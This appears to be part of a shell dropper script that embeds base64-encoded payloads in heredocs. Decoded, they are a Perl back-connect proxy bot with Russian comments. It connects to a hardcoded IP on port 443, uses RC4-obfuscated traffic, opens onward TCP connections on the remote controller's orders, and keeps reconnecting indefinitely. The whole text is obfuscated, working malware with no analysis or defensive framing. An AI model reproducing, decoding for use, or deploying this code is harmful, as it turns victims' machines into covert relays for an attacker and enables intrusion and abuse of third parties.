ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_58() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDUnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
